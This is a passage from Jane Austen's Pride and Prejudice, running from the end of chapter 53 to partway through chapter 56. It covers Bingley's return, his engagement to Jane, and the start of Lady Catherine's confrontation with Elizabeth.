be in circulation. The housekeeper +at Netherfield had received orders to prepare for the arrival of her +master, who was coming down in a day or two, to shoot there for several +weeks. Mrs. Bennet was quite in the fidgets. She looked at Jane, and +smiled and shook her head by turns. + +"Well, well, and so Mr. Bingley is coming down, sister," (for Mrs. +Phillips first brought her the news). "Well, so much the better. Not +that I care about it, though. He is nothing to us, you know, and I am +sure _I_ never want to see him again. But, however, he is very welcome +to come to Netherfield, if he likes it. And who knows what _may_ happen? +But that is nothing to us. You know, sister, we agreed long ago never to +mention a word about it. And so, is it quite certain he is coming?" + +"You may depend on it," replied the other, "for Mrs. Nicholls was in +Meryton last night; I saw her passing by, and went out myself on purpose +to know the truth of it; and she told me that it was certain true. He +comes down on Thursday at the latest, very likely on Wednesday. She was +going to the butcher's, she told me, on purpose to order in some meat on +Wednesday, and she has got three couple of ducks just fit to be killed." + +Miss Bennet had not been able to hear of his coming without changing +colour. It was many months since she had mentioned his name to +Elizabeth; but now, as soon as they were alone together, she said: + +"I saw you look at me to-day, Lizzy, when my aunt told us of the present +report; and I know I appeared distressed. But don't imagine it was from +any silly cause. I was only confused for the moment, because I felt that +I _should_ be looked at. I do assure you that the news does not affect +me either with pleasure or pain. I am glad of one thing, that he comes +alone; because we shall see the less of him. Not that I am afraid of +_myself_, but I dread other people's remarks." + +Elizabeth did not know what to make of it. Had she not seen him in +Derbyshire, she might have supposed him capable of coming there with no +other view than what was acknowledged; but she still thought him partial +to Jane, and she wavered as to the greater probability of his coming +there _with_ his friend's permission, or being bold enough to come +without it. + +"Yet it is hard," she sometimes thought, "that this poor man cannot +come to a house which he has legally hired, without raising all this +speculation! I _will_ leave him to himself." + +In spite of what her sister declared, and really believed to be her +feelings in the expectation of his arrival, Elizabeth could easily +perceive that her spirits were affected by it. They were more disturbed, +more unequal, than she had often seen them. + +The subject which had been so warmly canvassed between their parents, +about a twelvemonth ago, was now brought forward again. + +"As soon as ever Mr. Bingley comes, my dear," said Mrs. Bennet, "you +will wait on him of course." + +"No, no. You forced me into visiting him last year, and promised, if I +went to see him, he should marry one of my daughters. But it ended in +nothing, and I will not be sent on a fool's errand again." + +His wife represented to him how absolutely necessary such an attention +would be from all the neighbouring gentlemen, on his returning to +Netherfield. + +"'Tis an etiquette I despise," said he. "If he wants our society, +let him seek it. He knows where we live. I will not spend my hours +in running after my neighbours every time they go away and come back +again." + +"Well, all I know is, that it will be abominably rude if you do not wait +on him. But, however, that shan't prevent my asking him to dine here, I +am determined. We must have Mrs. Long and the Gouldings soon. That will +make thirteen with ourselves, so there will be just room at table for +him." + +Consoled by this resolution, she was the better able to bear her +husband's incivility; though it was very mortifying to know that her +neighbours might all see Mr. Bingley, in consequence of it, before +_they_ did. As the day of his arrival drew near,-- + +"I begin to be sorry that he comes at all," said Jane to her sister. "It +would be nothing; I could see him with perfect indifference, but I can +hardly bear to hear it thus perpetually talked of. My mother means well; +but she does not know, no one can know, how much I suffer from what she +says. Happy shall I be, when his stay at Netherfield is over!" + +"I wish I could say anything to comfort you," replied Elizabeth; "but it +is wholly out of my power. You must feel it; and the usual satisfaction +of preaching patience to a sufferer is denied me, because you have +always so much." + +Mr. Bingley arrived. Mrs. Bennet, through the assistance of servants, +contrived to have the earliest tidings of it, that the period of anxiety +and fretfulness on her side might be as long as it could. She counted +the days that must intervene before their invitation could be sent; +hopeless of seeing him before. But on the third morning after his +arrival in Hertfordshire, she saw him, from her dressing-room window, +enter the paddock and ride towards the house. + +Her daughters were eagerly called to partake of her joy. Jane resolutely +kept her place at the table; but Elizabeth, to satisfy her mother, went +to the window--she looked,--she saw Mr. Darcy with him, and sat down +again by her sister. + +"There is a gentleman with him, mamma," said Kitty; "who can it be?" + +"Some acquaintance or other, my dear, I suppose; I am sure I do not +know." + +"La!" replied Kitty, "it looks just like that man that used to be with +him before. Mr. what's-his-name. That tall, proud man." + +"Good gracious! Mr. Darcy!--and so it does, I vow. Well, any friend of +Mr. Bingley's will always be welcome here, to be sure; but else I must +say that I hate the very sight of him." + +Jane looked at Elizabeth with surprise and concern. She knew but little +of their meeting in Derbyshire, and therefore felt for the awkwardness +which must attend her sister, in seeing him almost for the first time +after receiving his explanatory letter. Both sisters were uncomfortable +enough. Each felt for the other, and of course for themselves; and their +mother talked on, of her dislike of Mr. Darcy, and her resolution to be +civil to him only as Mr. Bingley's friend, without being heard by either +of them. But Elizabeth had sources of uneasiness which could not be +suspected by Jane, to whom she had never yet had courage to shew Mrs. +Gardiner's letter, or to relate her own change of sentiment towards him. +To Jane, he could be only a man whose proposals she had refused, +and whose merit she had undervalued; but to her own more extensive +information, he was the person to whom the whole family were indebted +for the first of benefits, and whom she regarded herself with an +interest, if not quite so tender, at least as reasonable and just as +what Jane felt for Bingley. Her astonishment at his coming--at his +coming to Netherfield, to Longbourn, and voluntarily seeking her again, +was almost equal to what she had known on first witnessing his altered +behaviour in Derbyshire. + +The colour which had been driven from her face, returned for half a +minute with an additional glow, and a smile of delight added lustre to +her eyes, as she thought for that space of time that his affection and +wishes must still be unshaken. But she would not be secure. + +"Let me first see how he behaves," said she; "it will then be early +enough for expectation." + +She sat intently at work, striving to be composed, and without daring to +lift up her eyes, till anxious curiosity carried them to the face of +her sister as the servant was approaching the door. Jane looked a little +paler than usual, but more sedate than Elizabeth had expected. On the +gentlemen's appearing, her colour increased; yet she received them with +tolerable ease, and with a propriety of behaviour equally free from any +symptom of resentment or any unnecessary complaisance. + +Elizabeth said as little to either as civility would allow, and sat down +again to her work, with an eagerness which it did not often command. She +had ventured only one glance at Darcy. He looked serious, as usual; and, +she thought, more as he had been used to look in Hertfordshire, than as +she had seen him at Pemberley. But, perhaps he could not in her mother's +presence be what he was before her uncle and aunt. It was a painful, but +not an improbable, conjecture. + +Bingley, she had likewise seen for an instant, and in that short period +saw him looking both pleased and embarrassed. He was received by Mrs. +Bennet with a degree of civility which made her two daughters ashamed, +especially when contrasted with the cold and ceremonious politeness of +her curtsey and address to his friend. + +Elizabeth, particularly, who knew that her mother owed to the latter +the preservation of her favourite daughter from irremediable infamy, +was hurt and distressed to a most painful degree by a distinction so ill +applied. + +Darcy, after inquiring of her how Mr. and Mrs. Gardiner did, a question +which she could not answer without confusion, said scarcely anything. He +was not seated by her; perhaps that was the reason of his silence; but +it had not been so in Derbyshire. There he had talked to her friends, +when he could not to herself. But now several minutes elapsed without +bringing the sound of his voice; and when occasionally, unable to resist +the impulse of curiosity, she raised her eyes to his face, she as often +found him looking at Jane as at herself, and frequently on no object but +the ground. More thoughtfulness and less anxiety to please, than when +they last met, were plainly expressed. She was disappointed, and angry +with herself for being so. + +"Could I expect it to be otherwise!" said she. "Yet why did he come?" + +She was in no humour for conversation with anyone but himself; and to +him she had hardly courage to speak. + +She inquired after his sister, but could do no more. + +"It is a long time, Mr. Bingley, since you went away," said Mrs. Bennet. + +He readily agreed to it. + +"I began to be afraid you would never come back again. People _did_ say +you meant to quit the place entirely at Michaelmas; but, however, I hope +it is not true. A great many changes have happened in the neighbourhood, +since you went away. Miss Lucas is married and settled. And one of my +own daughters. I suppose you have heard of it; indeed, you must have +seen it in the papers. It was in The Times and The Courier, I know; +though it was not put in as it ought to be. It was only said, 'Lately, +George Wickham, Esq. to Miss Lydia Bennet,' without there being a +syllable said of her father, or the place where she lived, or anything. +It was my brother Gardiner's drawing up too, and I wonder how he came to +make such an awkward business of it. Did you see it?" + +Bingley replied that he did, and made his congratulations. Elizabeth +dared not lift up her eyes. How Mr. Darcy looked, therefore, she could +not tell. + +"It is a delightful thing, to be sure, to have a daughter well married," +continued her mother, "but at the same time, Mr. Bingley, it is very +hard to have her taken such a way from me. They are gone down to +Newcastle, a place quite northward, it seems, and there they are to stay +I do not know how long. His regiment is there; for I suppose you have +heard of his leaving the ----shire, and of his being gone into the +regulars. Thank Heaven! he has _some_ friends, though perhaps not so +many as he deserves." + +Elizabeth, who knew this to be levelled at Mr. Darcy, was in such +misery of shame, that she could hardly keep her seat. It drew from her, +however, the exertion of speaking, which nothing else had so effectually +done before; and she asked Bingley whether he meant to make any stay in +the country at present. A few weeks, he believed. + +"When you have killed all your own birds, Mr. Bingley," said her mother, +"I beg you will come here, and shoot as many as you please on Mr. +Bennet's manor. I am sure he will be vastly happy to oblige you, and +will save all the best of the covies for you." + +Elizabeth's misery increased, at such unnecessary, such officious +attention! Were the same fair prospect to arise at present as had +flattered them a year ago, every thing, she was persuaded, would be +hastening to the same vexatious conclusion. At that instant, she felt +that years of happiness could not make Jane or herself amends for +moments of such painful confusion. + +"The first wish of my heart," said she to herself, "is never more to +be in company with either of them. Their society can afford no pleasure +that will atone for such wretchedness as this! Let me never see either +one or the other again!" + +Yet the misery, for which years of happiness were to offer no +compensation, received soon afterwards material relief, from observing +how much the beauty of her sister re-kindled the admiration of her +former lover. When first he came in, he had spoken to her but little; +but every five minutes seemed to be giving her more of his attention. He +found her as handsome as she had been last year; as good natured, and +as unaffected, though not quite so chatty. Jane was anxious that no +difference should be perceived in her at all, and was really persuaded +that she talked as much as ever. But her mind was so busily engaged, +that she did not always know when she was silent. + +When the gentlemen rose to go away, Mrs. Bennet was mindful of her +intended civility, and they were invited and engaged to dine at +Longbourn in a few days time. + +"You are quite a visit in my debt, Mr. Bingley," she added, "for when +you went to town last winter, you promised to take a family dinner with +us, as soon as you returned. I have not forgot, you see; and I assure +you, I was very much disappointed that you did not come back and keep +your engagement." + +Bingley looked a little silly at this reflection, and said something of +his concern at having been prevented by business. They then went away. + +Mrs. Bennet had been strongly inclined to ask them to stay and dine +there that day; but, though she always kept a very good table, she did +not think anything less than two courses could be good enough for a man +on whom she had such anxious designs, or satisfy the appetite and pride +of one who had ten thousand a year. + + + +Chapter 54 + + +As soon as they were gone, Elizabeth walked out to recover her spirits; +or in other words, to dwell without interruption on those subjects that +must deaden them more. Mr. Darcy's behaviour astonished and vexed her. + +"Why, if he came only to be silent, grave, and indifferent," said she, +"did he come at all?" + +She could settle it in no way that gave her pleasure. + +"He could be still amiable, still pleasing, to my uncle and aunt, when +he was in town; and why not to me? If he fears me, why come hither? If +he no longer cares for me, why silent? Teasing, teasing, man! I will +think no more about him." + +Her resolution was for a short time involuntarily kept by the approach +of her sister, who joined her with a cheerful look, which showed her +better satisfied with their visitors, than Elizabeth. + +"Now," said she, "that this first meeting is over, I feel perfectly +easy. I know my own strength, and I shall never be embarrassed again by +his coming. I am glad he dines here on Tuesday. It will then be publicly +seen that, on both sides, we meet only as common and indifferent +acquaintance." + +"Yes, very indifferent indeed," said Elizabeth, laughingly. "Oh, Jane, +take care." + +"My dear Lizzy, you cannot think me so weak, as to be in danger now?" + +"I think you are in very great danger of making him as much in love with +you as ever." + + * * * * * + +They did not see the gentlemen again till Tuesday; and Mrs. Bennet, in +the meanwhile, was giving way to all the happy schemes, which the good +humour and common politeness of Bingley, in half an hour's visit, had +revived. + +On Tuesday there was a large party assembled at Longbourn; and the two +who were most anxiously expected, to the credit of their punctuality +as sportsmen, were in very good time. When they repaired to the +dining-room, Elizabeth eagerly watched to see whether Bingley would take +the place, which, in all their former parties, had belonged to him, by +her sister. Her prudent mother, occupied by the same ideas, forbore +to invite him to sit by herself. On entering the room, he seemed to +hesitate; but Jane happened to look round, and happened to smile: it was +decided. He placed himself by her. + +Elizabeth, with a triumphant sensation, looked towards his friend. +He bore it with noble indifference, and she would have imagined that +Bingley had received his sanction to be happy, had she not seen his eyes +likewise turned towards Mr. Darcy, with an expression of half-laughing +alarm. + +His behaviour to her sister was such, during dinner time, as showed an +admiration of her, which, though more guarded than formerly, persuaded +Elizabeth, that if left wholly to himself, Jane's happiness, and his +own, would be speedily secured. Though she dared not depend upon the +consequence, she yet received pleasure from observing his behaviour. It +gave her all the animation that her spirits could boast; for she was in +no cheerful humour. Mr. Darcy was almost as far from her as the table +could divide them. He was on one side of her mother. She knew how little +such a situation would give pleasure to either, or make either appear to +advantage. She was not near enough to hear any of their discourse, but +she could see how seldom they spoke to each other, and how formal and +cold was their manner whenever they did. Her mother's ungraciousness, +made the sense of what they owed him more painful to Elizabeth's mind; +and she would, at times, have given anything to be privileged to tell +him that his kindness was neither unknown nor unfelt by the whole of the +family. + +She was in hopes that the evening would afford some opportunity of +bringing them together; that the whole of the visit would not pass away +without enabling them to enter into something more of conversation than +the mere ceremonious salutation attending his entrance. Anxious +and uneasy, the period which passed in the drawing-room, before the +gentlemen came, was wearisome and dull to a degree that almost made her +uncivil. She looked forward to their entrance as the point on which all +her chance of pleasure for the evening must depend. + +"If he does not come to me, _then_," said she, "I shall give him up for +ever." + +The gentlemen came; and she thought he looked as if he would have +answered her hopes; but, alas! the ladies had crowded round the table, +where Miss Bennet was making tea, and Elizabeth pouring out the coffee, +in so close a confederacy that there was not a single vacancy near her +which would admit of a chair. And on the gentlemen's approaching, one of +the girls moved closer to her than ever, and said, in a whisper: + +"The men shan't come and part us, I am determined. We want none of them; +do we?" + +Darcy had walked away to another part of the room. She followed him with +her eyes, envied everyone to whom he spoke, had scarcely patience enough +to help anybody to coffee; and then was enraged against herself for +being so silly! + +"A man who has once been refused! How could I ever be foolish enough to +expect a renewal of his love? Is there one among the sex, who would not +protest against such a weakness as a second proposal to the same woman? +There is no indignity so abhorrent to their feelings!" + +She was a little revived, however, by his bringing back his coffee cup +himself; and she seized the opportunity of saying: + +"Is your sister at Pemberley still?" + +"Yes, she will remain there till Christmas." + +"And quite alone? Have all her friends left her?" + +"Mrs. Annesley is with her. The others have been gone on to Scarborough, +these three weeks." + +She could think of nothing more to say; but if he wished to converse +with her, he might have better success. He stood by her, however, for +some minutes, in silence; and, at last, on the young lady's whispering +to Elizabeth again, he walked away. + +When the tea-things were removed, and the card-tables placed, the ladies +all rose, and Elizabeth was then hoping to be soon joined by him, +when all her views were overthrown by seeing him fall a victim to her +mother's rapacity for whist players, and in a few moments after seated +with the rest of the party. She now lost every expectation of pleasure. +They were confined for the evening at different tables, and she had +nothing to hope, but that his eyes were so often turned towards her side +of the room, as to make him play as unsuccessfully as herself. + +Mrs. Bennet had designed to keep the two Netherfield gentlemen to +supper; but their carriage was unluckily ordered before any of the +others, and she had no opportunity of detaining them. + +"Well girls," said she, as soon as they were left to themselves, "What +say you to the day? I think every thing has passed off uncommonly well, +I assure you. The dinner was as well dressed as any I ever saw. The +venison was roasted to a turn--and everybody said they never saw so +fat a haunch. The soup was fifty times better than what we had at the +Lucases' last week; and even Mr. Darcy acknowledged, that the partridges +were remarkably well done; and I suppose he has two or three French +cooks at least. And, my dear Jane, I never saw you look in greater +beauty. Mrs. Long said so too, for I asked her whether you did not. And +what do you think she said besides? 'Ah! Mrs. Bennet, we shall have her +at Netherfield at last.' She did indeed. I do think Mrs. Long is as good +a creature as ever lived--and her nieces are very pretty behaved girls, +and not at all handsome: I like them prodigiously." + +Mrs. Bennet, in short, was in very great spirits; she had seen enough of +Bingley's behaviour to Jane, to be convinced that she would get him at +last; and her expectations of advantage to her family, when in a happy +humour, were so far beyond reason, that she was quite disappointed at +not seeing him there again the next day, to make his proposals. + +"It has been a very agreeable day," said Miss Bennet to Elizabeth. "The +party seemed so well selected, so suitable one with the other. I hope we +may often meet again." + +Elizabeth smiled. + +"Lizzy, you must not do so. You must not suspect me. It mortifies me. +I assure you that I have now learnt to enjoy his conversation as an +agreeable and sensible young man, without having a wish beyond it. I am +perfectly satisfied, from what his manners now are, that he never had +any design of engaging my affection. It is only that he is blessed +with greater sweetness of address, and a stronger desire of generally +pleasing, than any other man." + +"You are very cruel," said her sister, "you will not let me smile, and +are provoking me to it every moment." + +"How hard it is in some cases to be believed!" + +"And how impossible in others!" + +"But why should you wish to persuade me that I feel more than I +acknowledge?" + +"That is a question which I hardly know how to answer. We all love to +instruct, though we can teach only what is not worth knowing. Forgive +me; and if you persist in indifference, do not make me your confidante." + + + +Chapter 55 + + +A few days after this visit, Mr. Bingley called again, and alone. His +friend had left him that morning for London, but was to return home in +ten days time. He sat with them above an hour, and was in remarkably +good spirits. Mrs. Bennet invited him to dine with them; but, with many +expressions of concern, he confessed himself engaged elsewhere. + +"Next time you call," said she, "I hope we shall be more lucky." + +He should be particularly happy at any time, etc. etc.; and if she would +give him leave, would take an early opportunity of waiting on them. + +"Can you come to-morrow?" + +Yes, he had no engagement at all for to-morrow; and her invitation was +accepted with alacrity. + +He came, and in such very good time that the ladies were none of them +dressed. In ran Mrs. Bennet to her daughter's room, in her dressing +gown, and with her hair half finished, crying out: + +"My dear Jane, make haste and hurry down. He is come--Mr. Bingley is +come. He is, indeed. Make haste, make haste. Here, Sarah, come to Miss +Bennet this moment, and help her on with her gown. Never mind Miss +Lizzy's hair." + +"We will be down as soon as we can," said Jane; "but I dare say Kitty is +forwarder than either of us, for she went up stairs half an hour ago." + +"Oh! hang Kitty! what has she to do with it? Come be quick, be quick! +Where is your sash, my dear?" + +But when her mother was gone, Jane would not be prevailed on to go down +without one of her sisters. + +The same anxiety to get them by themselves was visible again in the +evening. After tea, Mr. Bennet retired to the library, as was his +custom, and Mary went up stairs to her instrument. Two obstacles of +the five being thus removed, Mrs. Bennet sat looking and winking at +Elizabeth and Catherine for a considerable time, without making any +impression on them. Elizabeth would not observe her; and when at last +Kitty did, she very innocently said, "What is the matter mamma? What do +you keep winking at me for? What am I to do?" + +"Nothing child, nothing. I did not wink at you." She then sat still +five minutes longer; but unable to waste such a precious occasion, she +suddenly got up, and saying to Kitty, "Come here, my love, I want to +speak to you," took her out of the room. Jane instantly gave a look +at Elizabeth which spoke her distress at such premeditation, and her +entreaty that _she_ would not give in to it. In a few minutes, Mrs. +Bennet half-opened the door and called out: + +"Lizzy, my dear, I want to speak with you." + +Elizabeth was forced to go. + +"We may as well leave them by themselves you know;" said her mother, as +soon as she was in the hall. "Kitty and I are going up stairs to sit in +my dressing-room." + +Elizabeth made no attempt to reason with her mother, but remained +quietly in the hall, till she and Kitty were out of sight, then returned +into the drawing-room. + +Mrs. Bennet's schemes for this day were ineffectual. Bingley was every +thing that was charming, except the professed lover of her daughter. His +ease and cheerfulness rendered him a most agreeable addition to their +evening party; and he bore with the ill-judged officiousness of the +mother, and heard all her silly remarks with a forbearance and command +of countenance particularly grateful to the daughter. + +He scarcely needed an invitation to stay supper; and before he went +away, an engagement was formed, chiefly through his own and Mrs. +Bennet's means, for his coming next morning to shoot with her husband. + +After this day, Jane said no more of her indifference. Not a word passed +between the sisters concerning Bingley; but Elizabeth went to bed in +the happy belief that all must speedily be concluded, unless Mr. Darcy +returned within the stated time. Seriously, however, she felt tolerably +persuaded that all this must have taken place with that gentleman's +concurrence. + +Bingley was punctual to his appointment; and he and Mr. Bennet spent +the morning together, as had been agreed on. The latter was much more +agreeable than his companion expected. There was nothing of presumption +or folly in Bingley that could provoke his ridicule, or disgust him into +silence; and he was more communicative, and less eccentric, than the +other had ever seen him. Bingley of course returned with him to dinner; +and in the evening Mrs. Bennet's invention was again at work to get +every body away from him and her daughter. Elizabeth, who had a letter +to write, went into the breakfast room for that purpose soon after tea; +for as the others were all going to sit down to cards, she could not be +wanted to counteract her mother's schemes. + +But on returning to the drawing-room, when her letter was finished, she +saw, to her infinite surprise, there was reason to fear that her mother +had been too ingenious for her. On opening the door, she perceived her +sister and Bingley standing together over the hearth, as if engaged in +earnest conversation; and had this led to no suspicion, the faces of +both, as they hastily turned round and moved away from each other, would +have told it all. Their situation was awkward enough; but _hers_ she +thought was still worse. Not a syllable was uttered by either; and +Elizabeth was on the point of going away again, when Bingley, who as +well as the other had sat down, suddenly rose, and whispering a few +words to her sister, ran out of the room. + +Jane could have no reserves from Elizabeth, where confidence would give +pleasure; and instantly embracing her, acknowledged, with the liveliest +emotion, that she was the happiest creature in the world. + +"'Tis too much!" she added, "by far too much. I do not deserve it. Oh! +why is not everybody as happy?" + +Elizabeth's congratulations were given with a sincerity, a warmth, +a delight, which words could but poorly express. Every sentence of +kindness was a fresh source of happiness to Jane. But she would not +allow herself to stay with her sister, or say half that remained to be +said for the present. + +"I must go instantly to my mother;" she cried. "I would not on any +account trifle with her affectionate solicitude; or allow her to hear it +from anyone but myself. He is gone to my father already. Oh! Lizzy, to +know that what I have to relate will give such pleasure to all my dear +family! how shall I bear so much happiness!" + +She then hastened away to her mother, who had purposely broken up the +card party, and was sitting up stairs with Kitty. + +Elizabeth, who was left by herself, now smiled at the rapidity and ease +with which an affair was finally settled, that had given them so many +previous months of suspense and vexation. + +"And this," said she, "is the end of all his friend's anxious +circumspection! of all his sister's falsehood and contrivance! the +happiest, wisest, most reasonable end!" + +In a few minutes she was joined by Bingley, whose conference with her +father had been short and to the purpose. + +"Where is your sister?" said he hastily, as he opened the door. + +"With my mother up stairs. She will be down in a moment, I dare say." + +He then shut the door, and, coming up to her, claimed the good wishes +and affection of a sister. Elizabeth honestly and heartily expressed +her delight in the prospect of their relationship. They shook hands with +great cordiality; and then, till her sister came down, she had to listen +to all he had to say of his own happiness, and of Jane's perfections; +and in spite of his being a lover, Elizabeth really believed all his +expectations of felicity to be rationally founded, because they had for +basis the excellent understanding, and super-excellent disposition of +Jane, and a general similarity of feeling and taste between her and +himself. + +It was an evening of no common delight to them all; the satisfaction of +Miss Bennet's mind gave a glow of such sweet animation to her face, as +made her look handsomer than ever. Kitty simpered and smiled, and hoped +her turn was coming soon. Mrs. Bennet could not give her consent or +speak her approbation in terms warm enough to satisfy her feelings, +though she talked to Bingley of nothing else for half an hour; and when +Mr. Bennet joined them at supper, his voice and manner plainly showed +how really happy he was. + +Not a word, however, passed his lips in allusion to it, till their +visitor took his leave for the night; but as soon as he was gone, he +turned to his daughter, and said: + +"Jane, I congratulate you. You will be a very happy woman." + +Jane went to him instantly, kissed him, and thanked him for his +goodness. + +"You are a good girl;" he replied, "and I have great pleasure in +thinking you will be so happily settled. I have not a doubt of your +doing very well together. Your tempers are by no means unlike. You are +each of you so complying, that nothing will ever be resolved on; so +easy, that every servant will cheat you; and so generous, that you will +always exceed your income." + +"I hope not so. Imprudence or thoughtlessness in money matters would be +unpardonable in me." + +"Exceed their income! My dear Mr. Bennet," cried his wife, "what are you +talking of? Why, he has four or five thousand a year, and very likely +more." Then addressing her daughter, "Oh! my dear, dear Jane, I am so +happy! I am sure I shan't get a wink of sleep all night. I knew how it +would be. I always said it must be so, at last. I was sure you could not +be so beautiful for nothing! I remember, as soon as ever I saw him, when +he first came into Hertfordshire last year, I thought how likely it was +that you should come together. Oh! he is the handsomest young man that +ever was seen!" + +Wickham, Lydia, were all forgotten. Jane was beyond competition her +favourite child. At that moment, she cared for no other. Her younger +sisters soon began to make interest with her for objects of happiness +which she might in future be able to dispense. + +Mary petitioned for the use of the library at Netherfield; and Kitty +begged very hard for a few balls there every winter. + +Bingley, from this time, was of course a daily visitor at Longbourn; +coming frequently before breakfast, and always remaining till after +supper; unless when some barbarous neighbour, who could not be enough +detested, had given him an invitation to dinner which he thought himself +obliged to accept. + +Elizabeth had now but little time for conversation with her sister; for +while he was present, Jane had no attention to bestow on anyone else; +but she found herself considerably useful to both of them in those hours +of separation that must sometimes occur. In the absence of Jane, he +always attached himself to Elizabeth, for the pleasure of talking of +her; and when Bingley was gone, Jane constantly sought the same means of +relief. + +"He has made me so happy," said she, one evening, "by telling me that he +was totally ignorant of my being in town last spring! I had not believed +it possible." + +"I suspected as much," replied Elizabeth. "But how did he account for +it?" + +"It must have been his sister's doing. They were certainly no friends to +his acquaintance with me, which I cannot wonder at, since he might have +chosen so much more advantageously in many respects. But when they see, +as I trust they will, that their brother is happy with me, they will +learn to be contented, and we shall be on good terms again; though we +can never be what we once were to each other." + +"That is the most unforgiving speech," said Elizabeth, "that I ever +heard you utter. Good girl! It would vex me, indeed, to see you again +the dupe of Miss Bingley's pretended regard." + +"Would you believe it, Lizzy, that when he went to town last November, +he really loved me, and nothing but a persuasion of _my_ being +indifferent would have prevented his coming down again!" + +"He made a little mistake to be sure; but it is to the credit of his +modesty." + +This naturally introduced a panegyric from Jane on his diffidence, and +the little value he put on his own good qualities. Elizabeth was pleased +to find that he had not betrayed the interference of his friend; for, +though Jane had the most generous and forgiving heart in the world, she +knew it was a circumstance which must prejudice her against him. + +"I am certainly the most fortunate creature that ever existed!" cried +Jane. "Oh! Lizzy, why am I thus singled from my family, and blessed +above them all! If I could but see _you_ as happy! If there _were_ but +such another man for you!" + +"If you were to give me forty such men, I never could be so happy as +you. Till I have your disposition, your goodness, I never can have your +happiness. No, no, let me shift for myself; and, perhaps, if I have very +good luck, I may meet with another Mr. Collins in time." + +The situation of affairs in the Longbourn family could not be long a +secret. Mrs. Bennet was privileged to whisper it to Mrs. Phillips, +and she ventured, without any permission, to do the same by all her +neighbours in Meryton. + +The Bennets were speedily pronounced to be the luckiest family in the +world, though only a few weeks before, when Lydia had first run away, +they had been generally proved to be marked out for misfortune. + + + +Chapter 56 + + +One morning, about a week after Bingley's engagement with Jane had been +formed, as he and the females of the family were sitting together in the +dining-room, their attention was suddenly drawn to the window, by the +sound of a carriage; and they perceived a chaise and four driving up +the lawn. It was too early in the morning for visitors, and besides, the +equipage did not answer to that of any of their neighbours. The horses +were post; and neither the carriage, nor the livery of the servant who +preceded it, were familiar to them. As it was certain, however, that +somebody was coming, Bingley instantly prevailed on Miss Bennet to avoid +the confinement of such an intrusion, and walk away with him into the +shrubbery. They both set off, and the conjectures of the remaining three +continued, though with little satisfaction, till the door was thrown +open and their visitor entered. It was Lady Catherine de Bourgh. + +They were of course all intending to be surprised; but their +astonishment was beyond their expectation; and on the part of Mrs. +Bennet and Kitty, though she was perfectly unknown to them, even +inferior to what Elizabeth felt. + +She entered the room with an air more than usually ungracious, made no +other reply to Elizabeth's salutation than a slight inclination of the +head, and sat down without saying a word. Elizabeth had mentioned her +name to her mother on her ladyship's entrance, though no request of +introduction had been made. + +Mrs. Bennet, all amazement, though flattered by having a guest of such +high importance, received her with the utmost politeness. After sitting +for a moment in silence, she said very stiffly to Elizabeth, + +"I hope you are well, Miss Bennet. That lady, I suppose, is your +mother." + +Elizabeth replied very concisely that she was. + +"And _that_ I suppose is one of your sisters." + +"Yes, madam," said Mrs. Bennet, delighted to speak to Lady Catherine. +"She is my youngest girl but one. My youngest of all is lately married, +and my eldest is somewhere about the grounds, walking with a young man +who, I believe, will soon become a part of the family." + +"You have a very small park here," returned Lady Catherine after a short +silence. + +"It is nothing in comparison of Rosings, my lady, I dare say; but I +assure you it is much larger than Sir William Lucas's." + +"This must be a most inconvenient sitting room for the evening, in +summer; the windows are full west." + +Mrs. Bennet assured her that they never sat there after dinner, and then +added: + +"May I take the liberty of asking your ladyship whether you left Mr. and +Mrs. Collins well." + +"Yes, very well. I saw them the night before last." + +Elizabeth now expected that she would produce a letter for her from +Charlotte, as it seemed the only probable motive for her calling. But no +letter appeared, and she was completely puzzled. + +Mrs. Bennet, with great civility, begged her ladyship to take some +refreshment; but Lady Catherine very resolutely, and not very politely, +declined eating anything; and then, rising up, said to Elizabeth, + +"Miss Bennet, there seemed to be a prettyish kind of a little wilderness +on one side of your lawn. I should be glad to take a turn in it, if you +will favour me with your company." + +"Go, my dear," cried her mother, "and show her ladyship about the +different walks. I think she will be pleased with the hermitage." + +Elizabeth obeyed, and running into her own room for her parasol, +attended her noble guest downstairs. As they passed through the +hall, Lady Catherine opened the doors into the dining-parlour and +drawing-room, and pronouncing them, after a short survey, to be decent +looking rooms, walked on. + +Her carriage remained at the door, and Elizabeth saw that her +waiting-woman was in it. They proceeded in silence along the gravel walk +that led to the copse; Elizabeth was determined to make no effort for +conversation with a woman who was now more than usually insolent and +disagreeable. + +"How could I ever think her like her nephew?" said she, as she looked in +her face. + +As soon as they entered the copse, Lady Catherine began in the following +manner:-- + +"You can be at no loss, Miss Bennet, to understand the reason of my +journey hither. Your own heart, your own conscience, must tell you why I +come." + +Elizabeth looked with unaffected astonishment. + +"Indeed, you are mistaken, Madam. I have not been at all able to account +for the honour of seeing you here." + +"Miss Bennet," replied her ladyship, in an angry tone, "you ought to +know, that I am not to be trifled with. But however insincere _you_ may +choose to be, you shall not find _me_ so. My character has ever been +celebrated for its sincerity and frankness, and in a cause of such +moment as this, I shall certainly not depart from it. A report of a most +alarming nature reached me two days ago. I was told that not only your +sister was on the point of being most advantageously married, but that +you, that Miss Elizabeth Bennet, would, in all likelihood, be soon +afterwards united to my nephew, my own nephew, Mr. Darcy. Though I +_know_ it must be a scandalous falsehood, though I would not injure him +so much as to suppose the truth of it possible, I instantly resolved +on setting off for this place, that I might make my sentiments known to +you." + +"If you believed it impossible to be true," said Elizabeth, colouring +with astonishment and disdain, "I wonder you took the trouble of coming +so far. What could your ladyship propose by it?" + +"At once to insist upon having such a report universally contradicted." + +"Your coming to Longbourn, to see me and my family," said Elizabeth +coolly, "will be rather a confirmation of it; if, indeed, such a report +is in existence." + +"If! Do you then pretend to be ignorant of it? Has it not been +industriously circulated by yourselves? Do you not know that such a +report is spread abroad?" + +"I never heard that it was." + +"And can you likewise declare, that there is no foundation for it?" + +"I do not pretend to possess equal frankness with your ladyship. You may +ask questions which I shall not choose to answer." + +"This is not to be borne. Miss Bennet, I insist on being satisfied. Has +he, has my nephew, made you an offer of marriage?" + +"Your ladyship has declared it to be impossible." + +"It ought to be so; it must be so, while he retains the use of his +reason. But your arts and allurements may, in a moment of infatuation, +have made him forget what he owes to himself and to all his family. You +may have drawn him in." + +"If I have, I shall be the last person to confess it." + +"Miss Bennet, do you know who I am? I have not been accustomed to such +language as this. I am almost the nearest relation he has in the world, +and am entitled to know all his dearest concerns." + +"But you are not entitled to know mine; nor will such behaviour as this, +ever induce me to be explicit." + +"Let me be rightly understood. This match, to which you have the +presumption to aspire, can never take place. No, never. Mr. Darcy is +engaged to my daughter. Now what have you to say?" + +"Only this; that if he is so, you can have no reason to suppose he will +make an offer to me." + +Lady Catherine hesitated for a moment, and then replied: + 